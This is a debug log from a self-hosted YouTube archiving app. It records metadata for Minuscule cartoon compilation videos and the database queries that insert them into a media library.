%{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | If Only Lonely | S02E22\n00:03:45 | Top Tabasco | S02E70\n00:07:22 | The Wing Case | S02E01\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #sibling #anxiety #ants #Tabasco #wasp #patrol #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 707, "filename" => "/downloads/Miniscule Season 2/2025-04-15 If Only Lonely 🍃 Minuscule 🍃 15' Compilation/If Only Lonely 🍃 Minuscule 🍃 15' Compilation [vPCGZgPoNQc].mp4", "id" => "vPCGZgPoNQc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vPCGZgPoNQc", "playlist_index" => 72, "timestamp" => 1744696844, "title" => "If Only Lonely 🍃 Minuscule 🍃 15' Compilation", "upload_date" => "20250415"} 22:11:46.068 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=942.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:46.069 [debug] QUERY OK source="sources" db=0.5ms idle=897.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:46.071 [debug] QUERY OK source="media_items" db=1.0ms idle=898.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 06:00:44Z], 5] 22:11:46.074 [debug] QUERY OK source="media_items" db=2.1ms idle=900.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | If Only Lonely | S02E22\n00:03:45 | Top Tabasco | S02E70\n00:07:22 | The Wing Case | S02E01\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #sibling #anxiety #ants #Tabasco #wasp #patrol #Minuscule #nature #insects #ladybugs #animatedseries", "If Only Lonely 🍃 Minuscule 🍃 15' Compilation", "60528026-8c04-4c00-bcf7-c216c3e0b78e", "vPCGZgPoNQc", 707, false, 5, "https://www.youtube.com/watch?v=vPCGZgPoNQc", 72, "/downloads/Miniscule Season 2/2025-04-15 If Only Lonely 🍃 Minuscule 🍃 15' Compilation/If Only Lonely 🍃 Minuscule 🍃 15' Compilation [vPCGZgPoNQc].mp4", false, false, false, [], 1, ~U[2025-04-15 06:00:44Z], ~U[2025-12-12 05:11:46Z], ~U[2025-12-12 05:11:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | If Only Lonely | S02E22\n00:03:45 | Top Tabasco | S02E70\n00:07:22 | The Wing Case | S02E01\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #sibling #anxiety #ants #Tabasco #wasp #patrol #Minuscule #nature #insects #ladybugs #animatedseries", "If Only Lonely 🍃 Minuscule 🍃 15' Compilation", "vPCGZgPoNQc", 707, false, 5, "https://www.youtube.com/watch?v=vPCGZgPoNQc", "/downloads/Miniscule Season 2/2025-04-15 If Only Lonely 🍃 Minuscule 🍃 15' Compilation/If Only Lonely 🍃 Minuscule 🍃 15' Compilation [vPCGZgPoNQc].mp4", false, ~U[2025-04-15 06:00:44Z]] 22:11:46.074 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=903.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:46.075 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:46.076 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89044] 22:11:46.076 [debug] Current batch of media processed. Will check again in 1000ms 22:11:47.078 [debug] Current batch of media processed. Will check again in 1000ms 22:11:48.079 [debug] Current batch of media processed. Will check again in 1000ms 22:11:48.835 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:49.080 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pea supper | S03E01\n00:01:29 | Glue | S03E06\n00:03:06 | He Who Laughs Last, laughs Longest | S03E12\n00:04:35 | The Artist | S03E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #peas #supper #techniques #Glue #Sticky #Spider #Trap #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 399, "filename" => "/downloads/Miniscule Season 2/2025-03-15 Pea supper | Minuscule 🍃10' Compilation/Pea supper | Minuscule 🍃10' Compilation [Z6u1Kv61MBA].mp4", "id" => "Z6u1Kv61MBA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Z6u1Kv61MBA", "playlist_index" => 73, "timestamp" => 1742065246, "title" => "Pea supper | Minuscule 🍃10' Compilation", "upload_date" => "20250315"} 22:11:49.081 [debug] QUERY OK source="sources" db=0.3ms idle=1909.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:49.081 [debug] QUERY OK source="sources" db=0.2ms idle=1910.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:49.082 [debug] QUERY OK source="media_items" db=0.7ms idle=1910.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 19:00:46Z], 5] 22:11:49.130 [debug] QUERY OK source="media_items" db=46.4ms idle=951.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pea supper | S03E01\n00:01:29 | Glue | S03E06\n00:03:06 | He Who Laughs Last, laughs Longest | S03E12\n00:04:35 | The Artist | S03E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #peas #supper #techniques #Glue #Sticky #Spider #Trap #Minuscule #nature #insects #ladybugs #animatedseries", "Pea supper | Minuscule 🍃10' Compilation", "2f439f47-32aa-4cde-abb5-441dd708319b", "Z6u1Kv61MBA", 399, false, 5, "https://www.youtube.com/watch?v=Z6u1Kv61MBA", 73, "/downloads/Miniscule Season 2/2025-03-15 Pea supper | Minuscule 🍃10' Compilation/Pea supper | Minuscule 🍃10' Compilation [Z6u1Kv61MBA].mp4", false, false, false, [], 1, ~U[2025-03-15 19:00:46Z], ~U[2025-12-12 05:11:49Z], ~U[2025-12-12 05:11:49Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Pea supper | S03E01\n00:01:29 | Glue | S03E06\n00:03:06 | He Who Laughs Last, laughs Longest | S03E12\n00:04:35 | The Artist | S03E18\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #peas #supper #techniques #Glue #Sticky #Spider #Trap #Minuscule #nature #insects #ladybugs #animatedseries", "Pea supper | Minuscule 🍃10' Compilation", "Z6u1Kv61MBA", 399, false, 5, "https://www.youtube.com/watch?v=Z6u1Kv61MBA", "/downloads/Miniscule Season 2/2025-03-15 Pea supper | Minuscule 🍃10' Compilation/Pea supper | Minuscule 🍃10' Compilation [Z6u1Kv61MBA].mp4", false, ~U[2025-03-15 19:00:46Z]] 22:11:49.130 [debug] QUERY OK source="sources" db=0.3ms idle=294.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:49.131 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=49.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:49.131 [debug] QUERY OK source="media_items" db=0.3ms idle=49.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89046] 22:11:49.132 [debug] Current batch of media processed. Will check again in 1000ms 22:11:50.133 [debug] Current batch of media processed. Will check again in 1000ms 22:11:51.134 [debug] Current batch of media processed. Will check again in 1000ms 22:11:52.135 [debug] Current batch of media processed. Will check again in 1000ms 22:11:53.136 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #ant #snow #pinecone #colony #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 685, "filename" => "/downloads/Miniscule Season 2/2025-03-08 Snow Carrot | Minuscule 🍃 15' Compilation/Snow Carrot | Minuscule 🍃 15' Compilation [yEQ3x5KByLI].mp4", "id" => "yEQ3x5KByLI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yEQ3x5KByLI", "playlist_index" => 74, "timestamp" => 1741460443, "title" => "Snow Carrot | Minuscule 🍃 15' Compilation", "upload_date" => "20250308"} 22:11:53.137 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=998.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:53.138 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=966.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:53.140 [debug] QUERY OK source="media_items" db=1.1ms idle=967.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 19:00:43Z], 5] 22:11:53.142 [debug] QUERY OK source="media_items" db=1.9ms idle=969.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #ant #snow #pinecone #colony #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 15' Compilation", "ad34a093-4ac7-441d-95c5-2ef8661176e8", "yEQ3x5KByLI", 685, false, 5, "https://www.youtube.com/watch?v=yEQ3x5KByLI", 74, "/downloads/Miniscule Season 2/2025-03-08 Snow Carrot | Minuscule 🍃 15' Compilation/Snow Carrot | Minuscule 🍃 15' Compilation [yEQ3x5KByLI].mp4", false, false, false, [], 1, ~U[2025-03-08 19:00:43Z], ~U[2025-12-12 05:11:53Z], ~U[2025-12-12 05:11:53Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Snow #Carrot #Ants #Ski #ant #snow #pinecone #colony #Minuscule #nature #insects #ladybugs #animatedseries", "Snow Carrot | Minuscule 🍃 15' Compilation", "yEQ3x5KByLI", 685, false, 5, "https://www.youtube.com/watch?v=yEQ3x5KByLI", "/downloads/Miniscule Season 2/2025-03-08 Snow Carrot | Minuscule 🍃 15' Compilation/Snow Carrot | Minuscule 🍃 15' Compilation [yEQ3x5KByLI].mp4", false, ~U[2025-03-08 19:00:43Z]] 22:11:53.143 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:53.144 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:53.145 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89048] 22:11:53.145 [debug] Current batch of media processed. Will check again in 1000ms 22:11:54.147 [debug] Current batch of media processed. Will check again in 1000ms 22:11:55.148 [debug] Current batch of media processed. Will check again in 1000ms 22:11:56.149 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grasshopper Who Didn't Know How To Leap | S02E13\r\n00:03:45 | An Acorn Season | S02E05\r\n00:07:31 | Chewing gum rodeo | S02E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #babies #leap #outcast #Acorn #Grasshopper #Insects #Justice #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 715, "filename" => "/downloads/Miniscule Season 2/2025-03-04 The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation/The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation [773g6-bqyv4].mp4", "id" => "773g6-bqyv4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=773g6-bqyv4", "playlist_index" => 75, "timestamp" => 1741071649, "title" => "The Grasshopper Who Didn't Know How To Leap | Minuscule 🍃 15' Compilation", "upload_date" => "20250304"} 22:11:56.150 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1978.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:56.151 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1979.4ms 